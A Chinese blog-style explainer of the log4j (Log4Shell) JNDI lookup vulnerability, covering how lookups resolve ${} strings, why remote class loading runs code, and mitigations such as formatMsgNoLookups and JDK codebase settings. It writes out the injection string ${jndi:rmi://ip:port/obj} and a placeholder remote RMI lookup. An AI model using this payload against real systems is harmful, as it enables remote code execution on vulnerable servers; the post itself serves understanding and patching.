因为log4j辛苦修了一天代码,必须简单吃下这个瓜~~
输入${jndi:rmi://ip:port/obj}即可触发的漏洞,从修复方案看,升级log4j版本,或者临时方案如:
- 改配置文件 log4j2.formatMsgNoLookups=True
- 添加jvm启动参数 -Dlog4j2.formatMsgNoLookups=true
- 修改环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
接下来开始一步步简单吃下瓜
临时解决方案均是关闭lookup,那么首先漏洞与lookup有什么关系 ?
log4j lookup官方文档 从官方文档看主要是提供了一些方式以添加课配置的属性到日志中。 lookup有多种实现类,本次漏洞是在JndiLookup。了解这个漏洞首先要看下JNDI
1 JNDI是什么 ?
Java 命名与目录接口(Java Naming and Directory Interface)。将Java对象以某个名称的形式绑定到一个容器环境(Context)中,以后调用Context的查找(lookup)方法又可以查找出该名称所绑定的Java对象。
换句话即,给资源起个名字,可以根据名字查找,这是命名服务;目录服务对命名服务进行扩展,增加了属性。
JNDI可访问的现有的目录及服务有: JDBC、LDAP、RMI、DNS、NIS、CORBA,且支持自动协议转换。支持协议如 rmi:// , ldap:// 如果在lookup内写入地址的话,则可以远程加载恶意类,如
Naming.lookup("rmi://xxx.xxx.xxx.xxx:port/refObj");
2 既然是资源加载,为什么会执行恶意代码
lookup加载时,会对对象进行实例化操作;对象实例化会执行静态代码块的内容;因此恶意代码有机会被执行
NamingManager.getObjectFactoryFromReference()
3 一行log.info的打印与JNDI有什么关系
要打印的内容为 ${}时,里面的内容会单独解析执行,查看代码如下:
org.apache.logging.log4j.core.lookup.StrSubstitutor
protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
到这里,漏洞基本了解了。那么升级jdk版本为什么也可以解决呢
4 漏洞与JDK版本
JDK8u121之后增加了,com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase;8u191版本后,LDAP协议的攻击途径也禁止了。
|